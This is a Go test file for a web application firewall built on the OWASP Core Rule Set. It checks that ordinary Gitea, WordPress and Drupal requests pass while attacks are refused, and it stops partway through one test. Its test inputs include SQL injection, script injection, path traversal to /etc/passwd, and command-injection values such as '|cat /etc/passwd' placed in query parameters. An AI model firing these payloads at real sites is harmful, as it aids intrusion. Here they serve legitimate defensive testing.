check / check (push) Successful in 5m3s
Every setting of discriminator and rproxy is read through viper, in place of the os.LookupEnv function Main passed down. NewViper turns AutomaticEnv and AllowEmptyEnv on, so a setting that is set but empty reads as set. A setting may also be given as a file, the _FILE form, which rproxy's settings now have too; rproxy still writes nothing to disk. The settings are renamed. Discriminator's take the prefix SWW_WAF_, rproxy's take SWW_RPROXY_, and the shared SWW_COMMAND keeps SWW_. The Core Rule Set's settings take SWW_WAF_CORE_RULE_SET_ rather than SWW_WAF_WAF_. Model: deepseek-v4-pro (first version); opus-5-5 (rework)
1678 lines
54 KiB
Go
1678 lines
54 KiB
Go
package coreruleset_test
|
|
|
|
import (
|
|
"encoding/json"
|
|
"fmt"
|
|
"net/http"
|
|
"net/http/httptest"
|
|
"net/netip"
|
|
"net/url"
|
|
"os"
|
|
"path/filepath"
|
|
"reflect"
|
|
"slices"
|
|
"strconv"
|
|
"strings"
|
|
"sync"
|
|
"testing"
|
|
|
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
|
)
|
|
|
|
// defaultDisabledRules are the rules SWW_WAF_CORE_RULE_SET_DISABLED_RULES switches off
|
|
// by default.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var defaultDisabledRules = []int{920340, 920420, 920440, 920640, 930130, 930140}
|
|
|
|
// loaded holds, for each set of settings the tests have asked for, the
|
|
// function that loads the Core Rule Set with them once.
|
|
//
|
|
//nolint:gochecknoglobals // the tests share it
|
|
var loaded = struct {
|
|
sync.Mutex
|
|
|
|
loaders map[string]func() (*coreruleset.CoreRuleSet, error)
|
|
}{loaders: map[string]func() (*coreruleset.CoreRuleSet, error){}}
|
|
|
|
// loaderFor returns the function that loads the Core Rule Set with params
|
|
// once, making it the first time params are asked for.
|
|
func loaderFor(params coreruleset.Params) func() (*coreruleset.CoreRuleSet, error) {
|
|
loaded.Lock()
|
|
defer loaded.Unlock()
|
|
|
|
settings := fmt.Sprintf("%+v", params)
|
|
|
|
load, found := loaded.loaders[settings]
|
|
if !found {
|
|
load = sync.OnceValues(func() (*coreruleset.CoreRuleSet, error) {
|
|
return coreruleset.New(params)
|
|
})
|
|
loaded.loaders[settings] = load
|
|
}
|
|
|
|
return load
|
|
}
|
|
|
|
// shared returns the Core Rule Set with params, loaded once for every
|
|
// test that asks for the same settings.
|
|
func shared(t *testing.T, params coreruleset.Params) *coreruleset.CoreRuleSet {
|
|
t.Helper()
|
|
|
|
crs, err := loaderFor(params)()
|
|
if err != nil {
|
|
t.Fatalf("load the Core Rule Set: %v", err)
|
|
}
|
|
|
|
return crs
|
|
}
|
|
|
|
// sharedCoreRuleSet returns the Core Rule Set at paranoia level level,
|
|
// with the rules in disabled switched off. The set is shared with every
|
|
// test that asks for the same settings.
|
|
func sharedCoreRuleSet(
|
|
t *testing.T, level int, disabled ...int,
|
|
) *coreruleset.CoreRuleSet {
|
|
t.Helper()
|
|
|
|
return shared(t, coreruleset.Params{ParanoiaLevel: level, DisabledRules: disabled})
|
|
}
|
|
|
|
// TestConcurrentRequestsKeepTheirOwnExclusions inspects a Drupal and a
|
|
// WordPress request at once, many times over, on one Core Rule Set, as
|
|
// sww's server does. Each passes only while its own exclusions apply.
|
|
func TestConcurrentRequestsKeepTheirOwnExclusions(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
const rounds = 50
|
|
|
|
crs := atDefaults(t)
|
|
targets := []string{
|
|
"/admin/people?user=docker-compose.yml&status=All&role=All&permission=All",
|
|
"/wp-admin/edit-tags.php?taxonomy=post_tag&post_type=post&s=python3",
|
|
}
|
|
|
|
var inspecting sync.WaitGroup
|
|
|
|
for range rounds {
|
|
for _, target := range targets {
|
|
inspecting.Go(func() {
|
|
req := httptest.NewRequestWithContext(t.Context(), http.MethodGet,
|
|
"http://git.example"+target, nil)
|
|
req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+
|
|
"Gecko/20100101 Firefox/131.0")
|
|
req.Header.Set("Accept", "text/html")
|
|
|
|
result, _, err := crs.Inspect(req, netip.MustParseAddr("203.0.113.9"), req.Body)
|
|
if err != nil || !reflect.DeepEqual(result, coreruleset.Result{}) {
|
|
t.Errorf("GET %s: %+v, %v", target, result, err)
|
|
}
|
|
})
|
|
}
|
|
}
|
|
|
|
inspecting.Wait()
|
|
}
|
|
|
|
// request is a request a test inspects: its method, its target, the path
|
|
// and the query as a client sends them, and its headers, each written
|
|
// "Name: value".
|
|
type request struct {
|
|
method, target string
|
|
headers []string
|
|
}
|
|
|
|
// get is a GET request for target with headers.
|
|
func get(target string, headers ...string) request {
|
|
return request{http.MethodGet, target, headers}
|
|
}
|
|
|
|
// inspect returns what crs finds in r, sent to git.example by a browser,
|
|
// whose Host, User-Agent and Accept r.headers may replace.
|
|
func inspect(t *testing.T, crs *coreruleset.CoreRuleSet, r request) coreruleset.Result {
|
|
t.Helper()
|
|
|
|
result, _ := inspectBody(t, crs, r, "")
|
|
|
|
return result
|
|
}
|
|
|
|
// inspectBody is inspect for r with body, which is announced with its
|
|
// Content-Length unless it is "", and returns what crs read of body too.
|
|
func inspectBody(
|
|
t *testing.T, crs *coreruleset.CoreRuleSet, r request, body string,
|
|
) (coreruleset.Result, string) {
|
|
t.Helper()
|
|
|
|
req := httptest.NewRequestWithContext(t.Context(), r.method,
|
|
"http://git.example"+r.target, strings.NewReader(body))
|
|
req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+
|
|
"Gecko/20100101 Firefox/131.0")
|
|
req.Header.Set("Accept", "text/html")
|
|
|
|
if body != "" {
|
|
req.Header.Set("Content-Length", strconv.Itoa(len(body)))
|
|
}
|
|
|
|
for _, header := range r.headers {
|
|
// Go's server keeps Host and Transfer-Encoding out of the headers.
|
|
name, value, _ := strings.Cut(header, ": ")
|
|
switch name {
|
|
case "Host":
|
|
req.Host = value
|
|
case "Transfer-Encoding":
|
|
req.TransferEncoding = []string{value}
|
|
default:
|
|
req.Header.Set(name, value)
|
|
}
|
|
}
|
|
|
|
result, read, err := crs.Inspect(req, netip.MustParseAddr("203.0.113.9"), req.Body)
|
|
if err != nil {
|
|
t.Fatalf("read the body: %v", err)
|
|
}
|
|
|
|
return result, string(read)
|
|
}
|
|
|
|
// wantResult checks what crs finds in r.
|
|
func wantResult(
|
|
t *testing.T, crs *coreruleset.CoreRuleSet, r request, want coreruleset.Result,
|
|
) {
|
|
t.Helper()
|
|
|
|
if got := inspect(t, crs, r); !reflect.DeepEqual(got, want) {
|
|
t.Errorf("%s %s %q: %+v, want %+v", r.method, r.target, r.headers, got, want)
|
|
}
|
|
}
|
|
|
|
// matched is the result of a request that the rules ids match, each of
|
|
// them a critical one, which adds 5 to the score.
|
|
func matched(ids ...int) coreruleset.Result {
|
|
const critical = 5
|
|
|
|
return coreruleset.Result{RuleIDs: ids, Score: critical * len(ids)}
|
|
}
|
|
|
|
// atDefaults returns the Core Rule Set as sww runs it by default.
|
|
func atDefaults(t *testing.T) *coreruleset.CoreRuleSet {
|
|
t.Helper()
|
|
|
|
return sharedCoreRuleSet(t, 1, defaultDisabledRules...)
|
|
}
|
|
|
|
// wantChange checks that crs lets through passes, a request one of the
|
|
// eleven changes is for, and still finds result in refused, a request like
|
|
// it that the change is not for.
|
|
func wantChange(
|
|
t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request,
|
|
result coreruleset.Result,
|
|
) {
|
|
t.Helper()
|
|
|
|
wantResult(t, crs, passes, coreruleset.Result{})
|
|
wantResult(t, crs, refused, result)
|
|
}
|
|
|
|
func TestPutPatchAndDeleteAreAllowed(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := atDefaults(t)
|
|
|
|
for _, r := range []request{
|
|
{http.MethodPut, "/v2/owner/image/blobs/uploads/1?digest=sha256:ab", nil},
|
|
{http.MethodPatch, "/api/v1/repos/owner/repo/issues/1", nil},
|
|
{http.MethodDelete, "/api/v1/repos/owner/repo/branches/old", nil},
|
|
} {
|
|
wantChange(t, crs, r, request{http.MethodTrace, r.target, nil}, matched(911100))
|
|
}
|
|
|
|
wantChange(t, crs, get("/"), request{"PROPFIND", "/", nil}, matched(911100))
|
|
}
|
|
|
|
func TestExpectAndContentEncodingAreAllowed(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
const (
|
|
pushType = "Content-Type: application/x-git-receive-pack-request"
|
|
fetchType = "Content-Type: application/x-git-upload-pack-request"
|
|
length = "Content-Length: 1024"
|
|
push = "/owner/repo.git/git-receive-pack"
|
|
fetch = "/owner/repo.git/git-upload-pack"
|
|
)
|
|
|
|
crs := atDefaults(t)
|
|
|
|
wantResult(t, crs,
|
|
request{http.MethodPost, push, []string{pushType, length, "Expect: 100-continue"}},
|
|
coreruleset.Result{})
|
|
wantResult(t, crs,
|
|
request{http.MethodPost, fetch, []string{
|
|
fetchType, length, "Content-Encoding: gzip",
|
|
}},
|
|
coreruleset.Result{})
|
|
|
|
// Every other header on the Core Rule Set's list stays refused.
|
|
for _, header := range []string{
|
|
"Proxy: http://proxy.example",
|
|
"Lock-Token: token",
|
|
"Content-Range: bytes 0-1023/1024",
|
|
"If: token",
|
|
"X-HTTP-Method-Override: DELETE",
|
|
"X-HTTP-Method: DELETE",
|
|
"X-Method-Override: DELETE",
|
|
"X-Middleware-Subrequest: middleware",
|
|
} {
|
|
wantResult(t, crs,
|
|
request{http.MethodPost, push, []string{pushType, length, header}},
|
|
matched(920450))
|
|
}
|
|
}
|
|
|
|
func TestTransferEncodingIsRead(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
// git sends a large push in chunks, with no Content-Length. Without
|
|
// Transfer-Encoding, that would be a POST without a length (920180).
|
|
wantResult(t, atDefaults(t),
|
|
request{http.MethodPost, "/owner/repo.git/git-receive-pack", []string{
|
|
"Content-Type: application/x-git-receive-pack-request",
|
|
"Transfer-Encoding: chunked",
|
|
}},
|
|
coreruleset.Result{})
|
|
}
|
|
|
|
func TestMoreParametersThanCorazaKeepsIsAMatch(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
const attack = "id=1'%20OR%20'1'='1"
|
|
|
|
crs := atDefaults(t)
|
|
|
|
// Coraza keeps 1000: an attack that is the 1000th is read, and one
|
|
// after it is not, but the request is a match all the same.
|
|
wantResult(t, crs, get("/?"+strings.Repeat("a=1&", 999)+attack), matched(942100))
|
|
wantResult(t, crs, get("/?"+strings.Repeat("a=1&", 1000)+attack), matched(900300))
|
|
|
|
// So it is with the fields of a form data or JSON body.
|
|
crs = readingBodies(t)
|
|
|
|
for _, tc := range []struct{ header, body string }{
|
|
{formData, strings.Repeat("a=1&", 999) + attack},
|
|
{jsonBody, `{"a":[` + strings.Repeat("1,", 998) + `1],"id":"` + injection + `"}`},
|
|
} {
|
|
wantBody(t, crs, post(tc.header), tc.body, matched(942100), tc.body)
|
|
}
|
|
|
|
for _, tc := range []struct{ header, body string }{
|
|
{formData, strings.Repeat("a=1&", 1000) + attack},
|
|
{jsonBody, `{"a":[` + strings.Repeat("1,", 999) + `1],"id":"` + injection + `"}`},
|
|
} {
|
|
wantBody(t, crs, post(tc.header), tc.body, matched(900300), tc.body)
|
|
}
|
|
}
|
|
|
|
func TestRedirectURIMayNameALocalAddress(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
const oauth = "/login/oauth/authorize?client_id=tea&response_type=code&"
|
|
|
|
crs := atDefaults(t)
|
|
|
|
wantChange(t, crs, get(oauth+"redirect_uri=http://127.0.0.1:52341/"),
|
|
get(oauth+"next=http://127.0.0.1:52341/"), matched(931100, 934110))
|
|
wantChange(t, crs, get(oauth+"redirect_uri=http://localhost:52341/"),
|
|
get(oauth+"next=http://localhost:52341/"), matched(934110))
|
|
}
|
|
|
|
func TestParametersGiteaSendsNamesInSkipTheListsOfFilesPathsAndCommands(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := atDefaults(t)
|
|
|
|
for _, value := range []struct {
|
|
name string
|
|
// result is what a parameter that is not one of gitea's gets.
|
|
result coreruleset.Result
|
|
}{
|
|
// A file on the list of system files.
|
|
{".gitignore", matched(930120)},
|
|
// A command's name, after a directory on the list of shell paths.
|
|
{"bin/docker-entrypoint", matched(932260, 932160)},
|
|
} {
|
|
for _, parameter := range []string{
|
|
"path", "files", "skip-to", "sub_path", "ref", "sha", "branch", "workflow",
|
|
"artifactName", "redirect_to",
|
|
} {
|
|
wantChange(t, crs, get("/?"+parameter+"="+value.name),
|
|
get("/?q="+value.name), value.result)
|
|
}
|
|
}
|
|
|
|
// What only those rules refuse gets through there too, but path
|
|
// traversal and SQL injection are still refused.
|
|
wantChange(t, crs, get("/?path=|cat%20/etc/passwd"), get("/?q=|cat%20/etc/passwd"),
|
|
matched(930120, 932160))
|
|
wantResult(t, crs, get("/?path=../../etc/passwd"),
|
|
coreruleset.Result{RuleIDs: []int{930100, 930110}, Score: 20})
|
|
wantResult(t, crs, get("/?path=1'%20OR%20'1'='1"), matched(942100))
|
|
}
|
|
|
|
func TestParameterNamesAreMatchedWithoutRegardToCase(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := atDefaults(t)
|
|
|
|
wantChange(t, crs, get("/?Path=.gitignore"), get("/?q=.gitignore"), matched(930120))
|
|
wantChange(t, crs, get("/?REDIRECT_URI=http://127.0.0.1:52341/"),
|
|
get("/?next=http://127.0.0.1:52341/"), matched(931100, 934110))
|
|
}
|
|
|
|
func TestCookiesGiteaFlashAndRedirectToAreNotRead(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
const (
|
|
flash = "success%3DFile%2Bpackage.json%2Bdeleted"
|
|
redirectTo = "%2Fowner%2Frepo%2Fsrc%2Fbranch%2Fmain%2Fpackage.json"
|
|
)
|
|
|
|
crs := atDefaults(t)
|
|
|
|
wantChange(t, crs, get("/owner/repo", "Cookie: gitea_flash="+flash),
|
|
get("/owner/repo", "Cookie: flash="+flash), matched(930120))
|
|
wantChange(t, crs, get("/", "Cookie: redirect_to="+redirectTo),
|
|
get("/", "Cookie: redirect="+redirectTo), matched(930120))
|
|
|
|
// Among other cookies, which are read.
|
|
wantChange(t, crs,
|
|
get("/", "Cookie: lang=en-US; gitea_flash="+flash+"; redirect_to="+redirectTo+
|
|
"; i_like_gitea=abc"),
|
|
get("/", "Cookie: lang=en-US; gitea_flash="+flash+"; redirect="+redirectTo+
|
|
"; i_like_gitea=abc"),
|
|
matched(930120))
|
|
}
|
|
|
|
func TestRefererIsNotCheckedForACommandOrJava(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
const (
|
|
search = "https://git.example/explore/repos?q=env"
|
|
runtimeJava = "https://git.example/openjdk/jdk/src/branch/master/src/" +
|
|
"java.base/share/classes/java/lang/Runtime.java"
|
|
stringMD = "https://git.example/owner/repo/src/branch/main/java.lang.String.md"
|
|
)
|
|
|
|
crs := atDefaults(t)
|
|
|
|
wantChange(t, crs, get("/", "Referer: "+search), get("/", "User-Agent: "+search),
|
|
matched(932340))
|
|
wantChange(t, crs, get("/", "Referer: "+runtimeJava),
|
|
get("/", "X-Page: "+runtimeJava), matched(944110))
|
|
wantChange(t, crs, get("/", "Referer: "+stringMD), get("/", "X-Page: "+stringMD),
|
|
matched(944130))
|
|
|
|
// It is still checked for script and SQL injection.
|
|
wantResult(t, crs,
|
|
get("/", "Referer: https://git.example/?q=<script>alert(1)</script>"),
|
|
matched(941110, 941160))
|
|
wantResult(t, crs, get("/", "Referer: https://git.example/?q=1' OR '1'='1"),
|
|
matched(942100))
|
|
}
|
|
|
|
func TestEmptyHeaderIsRead(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
// An empty User-Agent is a notice, which adds 2.
|
|
wantResult(t, atDefaults(t), get("/", "User-Agent: "),
|
|
coreruleset.Result{RuleIDs: []int{920330}, Score: 2})
|
|
}
|
|
|
|
func TestParanoiaLevel(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
// Accept-Charset is refused from paranoia level 2.
|
|
r := get("/", "Accept-Charset: utf-8")
|
|
|
|
wantResult(t, sharedCoreRuleSet(t, 1), r, coreruleset.Result{})
|
|
wantResult(t, sharedCoreRuleSet(t, 2), r, matched(920451))
|
|
}
|
|
|
|
func TestEachDisabledRuleIsSwitchedOff(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
// A method not allowed, and a Host that is an IP address, a warning,
|
|
// which adds 3.
|
|
r := request{http.MethodTrace, "/", []string{"Host: 192.0.2.1"}}
|
|
|
|
wantResult(t, sharedCoreRuleSet(t, 1), r,
|
|
coreruleset.Result{RuleIDs: []int{911100, 920350}, Score: 8})
|
|
wantResult(t, sharedCoreRuleSet(t, 1, 920350, 911100), r, coreruleset.Result{})
|
|
}
|
|
|
|
func TestImagePushThatReusesALayerIsNotCheckedForCommandNames(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := atDefaults(t)
|
|
reuse := "?mount=sha256:0000&from=owner/python3-app"
|
|
|
|
wantChange(t, crs, get("/v2/owner/app/blobs/uploads/"+reuse), get("/upload/"+reuse),
|
|
matched(932260))
|
|
|
|
// A command after the image's name is still refused.
|
|
wantResult(t, crs,
|
|
get("/v2/owner/app/blobs/uploads/?from=owner/app;cat%20/etc/passwd"),
|
|
matched(930120, 932160))
|
|
}
|
|
|
|
// withExclusions returns the Core Rule Set at the defaults, with the
|
|
// exclusions file at path.
|
|
func withExclusions(path string) (*coreruleset.CoreRuleSet, error) {
|
|
return coreruleset.New(coreruleset.Params{
|
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, ExclusionsFile: path,
|
|
})
|
|
}
|
|
|
|
// exclusionsFile writes text to a file of exclusions and returns its path.
|
|
func exclusionsFile(t *testing.T, text string) string {
|
|
t.Helper()
|
|
|
|
path := filepath.Join(t.TempDir(), "exclusions.conf")
|
|
|
|
err := os.WriteFile(path, []byte(text), 0o600)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
return path
|
|
}
|
|
|
|
// backupFileExclusion is an exclusions file that switches 920500, a rule
|
|
// of phase 1, off for the path of a backup file under /files/.
|
|
const backupFileExclusion = `SecRule REQUEST_FILENAME "@beginsWith /files/" ` +
|
|
`"id:1,phase:1,pass,nolog,ctl:ruleRemoveTargetById=920500;REQUEST_FILENAME"` + "\n"
|
|
|
|
func TestExclusionsFileIsLoadedBeforeTheRules(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs, err := withExclusions(exclusionsFile(t, backupFileExclusion))
|
|
if err != nil {
|
|
t.Fatalf("load the exclusions: %v", err)
|
|
}
|
|
|
|
wantChange(t, crs, get("/files/notes.txt~"), get("/notes.txt~"), matched(920500))
|
|
}
|
|
|
|
func TestRuleSwitchedOffAndNamedInTheExclusionsFileIsOff(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs, err := coreruleset.New(coreruleset.Params{
|
|
ParanoiaLevel: 1, DisabledRules: []int{920500},
|
|
ExclusionsFile: exclusionsFile(t, backupFileExclusion),
|
|
})
|
|
if err != nil {
|
|
t.Fatalf("load the exclusions: %v", err)
|
|
}
|
|
|
|
wantResult(t, crs, get("/notes.txt~"), coreruleset.Result{})
|
|
}
|
|
|
|
func TestExclusionsFileMayNameAnyNumberInAComment(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
_, err := withExclusions(exclusionsFile(t,
|
|
"# 942100: GET /issues/900123\n"+backupFileExclusion))
|
|
if err != nil {
|
|
t.Errorf("the exclusions did not load: %v", err)
|
|
}
|
|
}
|
|
|
|
func TestExclusionsFileThatCannotBeUsedIsAnError(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
missing := filepath.Join(t.TempDir(), "missing.conf")
|
|
|
|
_, err := withExclusions(missing)
|
|
if err == nil {
|
|
t.Errorf("%s loaded", missing)
|
|
}
|
|
|
|
for _, tc := range []struct{ text, want string }{
|
|
{"SecNoSuchDirective On\n", "unknown directive"},
|
|
// sww's own rules may not be switched off or changed, by
|
|
// id or in a range, on one line or split over several.
|
|
{"SecRuleRemoveById 899999-901000\n", "names 899999-901000"},
|
|
{
|
|
"SecAction \"id:1,phase:1,pass,nolog,ctl:ruleRemoveById=899999-901000\"\n",
|
|
"names 899999-901000",
|
|
},
|
|
{
|
|
"SecAction \"id:1,phase:1,pass,nolog,ctl:ruleRemoveById=899999-+901000\"\n",
|
|
"names 899999-+901000",
|
|
},
|
|
{
|
|
"SecAction \"id:1,phase:1,pass,nolog,ctl:ruleRemoveTargetById=900500;ARGS:from\"\n",
|
|
"names 900500",
|
|
},
|
|
{"SecRuleRemoveById 899000-\\\n 901000\n", "names 899000-901000"},
|
|
{
|
|
"SecAction \"id:1,phase:1,pass,nolog,\\\n" +
|
|
" ctl:ruleRemoveById=9005\\\n 00\"\n",
|
|
"names 900500",
|
|
},
|
|
// The Core Rule Set's rules load after the file.
|
|
{"SecRuleRemoveById 942100\n", "SecRuleRemoveById in the exclusions file"},
|
|
{
|
|
"SecRuleUpdateTargetById 942100 \"!ARGS:id\"\n",
|
|
"SecRuleUpdateTargetById in the exclusions file",
|
|
},
|
|
} {
|
|
_, err := withExclusions(exclusionsFile(t, tc.text))
|
|
if err == nil || !strings.Contains(err.Error(), tc.want) {
|
|
t.Errorf("%q gave the error %v, want one with %q", tc.text, err, tc.want)
|
|
}
|
|
}
|
|
}
|
|
|
|
// giteaRequests returns the recorded ordinary gitea requests in testdata.
|
|
// Each has the Referer of a page that names the same, as a page opened
|
|
// from it has.
|
|
func giteaRequests(t *testing.T) []request {
|
|
t.Helper()
|
|
|
|
text, err := os.ReadFile(filepath.Join("testdata", "gitea-requests.txt"))
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
var requests []request
|
|
|
|
for line := range strings.Lines(string(text)) {
|
|
line = strings.TrimSpace(line)
|
|
if line == "" || strings.HasPrefix(line, "#") {
|
|
continue
|
|
}
|
|
|
|
target, header, _ := strings.Cut(line, " ")
|
|
|
|
headers := []string{"Referer: http://git.example" + target}
|
|
if header != "" {
|
|
headers = append(headers, header)
|
|
}
|
|
|
|
requests = append(requests, get(target, headers...))
|
|
}
|
|
|
|
return requests
|
|
}
|
|
|
|
// An SQL injection and a script injection, as a query value. Every app's
|
|
// tests check that its fields still refuse them.
|
|
const (
|
|
sqlInjection = "1'%20OR%20'1'='1"
|
|
scriptInjection = "%3Cscript%3Ealert(1)%3C%2Fscript%3E"
|
|
)
|
|
|
|
// hardValues are words that name commands and files, as a query or form
|
|
// value. An app's tests check that its fields let them through.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var hardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
|
|
|
|
// wantRecordedRequestsPass checks that none of the recorded ordinary
|
|
// requests in the file name in testdata is refused, at the defaults and
|
|
// while bodies are read. Each request runs as its own parallel subtest.
|
|
func wantRecordedRequestsPass(t *testing.T, name string) {
|
|
t.Helper()
|
|
|
|
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
|
|
|
defaults, bodies := atDefaults(t), readingBodies(t)
|
|
|
|
for _, recorded := range recordedRequests(t, name) {
|
|
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
r := request{recorded.Method, recorded.Target, recorded.Headers}
|
|
|
|
got, _ := inspectBody(t, defaults, r, recorded.Body)
|
|
if got.Score >= threshold {
|
|
t.Errorf("%s %s refused: %+v", r.method, r.target, got)
|
|
}
|
|
|
|
got, _ = inspectBody(t, bodies, r, recorded.Body)
|
|
if got.Score >= threshold {
|
|
t.Errorf("%s %s %.200q refused while bodies are read: %+v",
|
|
r.method, r.target, recorded.Body, got)
|
|
}
|
|
})
|
|
}
|
|
}
|
|
|
|
func TestOrdinaryGiteaRequestsPassAndAttacksAreRefused(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
|
|
|
crs := atDefaults(t)
|
|
|
|
for _, r := range giteaRequests(t) {
|
|
if got := inspect(t, crs, r); got.Score >= threshold {
|
|
t.Errorf("%s %q refused: %+v", r.target, r.headers[1:], got)
|
|
}
|
|
}
|
|
|
|
// In q too, off gitea's search pages.
|
|
for _, parameter := range []string{"id", "q"} {
|
|
for _, attack := range []string{
|
|
sqlInjection,
|
|
"..%2Fcustom%2Fconf%2Fapp.ini",
|
|
scriptInjection,
|
|
} {
|
|
target := "/owner/repo?" + parameter + "=" + attack
|
|
if got := inspect(t, crs, get(target)); got.Score < threshold {
|
|
t.Errorf("%s let through: %+v", target, got)
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
// WordPress's paths: signing in, posting a comment, admin-ajax.php, and the
|
|
// REST API routes of a post and of the tags.
|
|
const (
|
|
wpLogin = "/wp-login.php"
|
|
wpComment = "/wp-comments-post.php"
|
|
wpAjax = "/wp-admin/admin-ajax.php"
|
|
wpPost = "/wp-json/wp/v2/posts/1"
|
|
wpTags = "/wp-json/wp/v2/tags"
|
|
)
|
|
|
|
// recordedRequest is a line of a file of recorded requests in testdata.
|
|
type recordedRequest struct {
|
|
Method string `json:"method"`
|
|
Target string `json:"target"`
|
|
Headers []string `json:"headers"`
|
|
Body string `json:"body"`
|
|
}
|
|
|
|
// recordedRequests returns the recorded ordinary requests in the file name
|
|
// in testdata, each with its body.
|
|
func recordedRequests(t *testing.T, name string) []recordedRequest {
|
|
t.Helper()
|
|
|
|
path := filepath.Join("testdata", name)
|
|
|
|
text, err := os.ReadFile(path) //nolint:gosec // a file in testdata
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
var requests []recordedRequest
|
|
|
|
for line := range strings.Lines(string(text)) {
|
|
if strings.HasPrefix(line, "#") {
|
|
continue
|
|
}
|
|
|
|
var r recordedRequest
|
|
|
|
err := json.Unmarshal([]byte(line), &r)
|
|
if err != nil {
|
|
t.Fatalf("%q: %v", line, err)
|
|
}
|
|
|
|
requests = append(requests, r)
|
|
}
|
|
|
|
return requests
|
|
}
|
|
|
|
// readingBodiesUpTo64K returns the Core Rule Set as sww runs it by default,
|
|
// but reading bodies up to the largest SWW_WAF_CORE_RULE_SET_BODY_LIMIT.
|
|
func readingBodiesUpTo64K(t *testing.T) *coreruleset.CoreRuleSet {
|
|
t.Helper()
|
|
|
|
return shared(t, coreruleset.Params{
|
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: 64<<10 - 1,
|
|
})
|
|
}
|
|
|
|
// wordpressAttackTargets returns attack in a query parameter no exclusion
|
|
// names, and in each field whose searches and names skip some rules there.
|
|
func wordpressAttackTargets(attack string) []string {
|
|
return []string{
|
|
"/?id=" + attack,
|
|
wpLogin + "?id=" + attack,
|
|
"/wp-admin/admin-ajax.php?id=" + attack,
|
|
"/wp-json/wp/v2/posts?id=" + attack,
|
|
"/?s=" + attack,
|
|
"/index.php?s=" + attack,
|
|
"/page/2/?s=" + attack,
|
|
"/index.php/page/2/?s=" + attack,
|
|
"/wp-admin/edit.php?s=" + attack,
|
|
"/wp-admin/upload.php?s=" + attack,
|
|
"/wp-admin/plugin-install.php?s=" + attack,
|
|
"/wp-admin/edit-comments.php?s=" + attack,
|
|
"/wp-admin/users.php?s=" + attack,
|
|
"/wp-admin/plugins.php?s=" + attack,
|
|
"/wp-admin/edit-tags.php?s=" + attack,
|
|
"/wp-json/wp/v2/search?search=" + attack,
|
|
"/wp-json/wp/v2/posts?search=" + attack,
|
|
"/wp-json/wp/v2/tags?search=" + attack,
|
|
"/?rest_route=/wp/v2/search&search=" + attack,
|
|
"/wp-json/wp/v2/posts?slug=" + attack,
|
|
"/wp-json/wp/v2/tags?slug=" + attack,
|
|
"/?rest_route=/wp/v2/posts&slug=" + attack,
|
|
"/wp-json/wp/v2/block-directory/search?term=" + attack,
|
|
"/wp-admin/themes.php?search=" + attack,
|
|
"/wp-admin/theme-install.php?search=" + attack,
|
|
"/wp-admin/upload.php?search=" + attack,
|
|
"/wp-admin/admin-ajax.php?q=" + attack,
|
|
"/wp-admin/admin-ajax.php?term=" + attack,
|
|
"/wp-admin/edit.php?_wp_http_referer=" + attack,
|
|
"/wp-admin/upload.php?_wp_http_referer=" + attack,
|
|
"/?tag=" + attack,
|
|
"/index.php?tag=" + attack,
|
|
"/wp-admin/edit.php?tag=" + attack,
|
|
"/wp-admin/edit.php?category_name=" + attack,
|
|
"/wp-admin/plugin-editor.php?file=" + attack,
|
|
"/wp-admin/theme-editor.php?file=" + attack,
|
|
"/wp-admin/plugin-editor.php?plugin=" + attack,
|
|
"/wp-admin/plugins.php?plugin=" + attack,
|
|
"/wp-admin/update.php?plugin=" + attack,
|
|
"/wp-admin/admin.php?page=" + attack,
|
|
"/wp-admin/options-general.php?page=" + attack,
|
|
"/wp-admin/tools.php?page=" + attack,
|
|
"/wp-admin/site-editor.php?p=" + attack,
|
|
"/wp-admin/site-editor.php?postId=" + attack,
|
|
"/wp-admin/admin-ajax.php?slug=" + attack,
|
|
"/wp-json/wp-block-editor/v1/url-details?url=" + attack,
|
|
"/wp-json/oembed/1.0/proxy?url=" + attack,
|
|
"/?rest_route=/oembed/1.0/proxy&url=" + attack,
|
|
}
|
|
}
|
|
|
|
func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
|
|
|
defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
|
|
|
|
for _, recorded := range recordedRequests(t, "wordpress-requests.txt") {
|
|
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
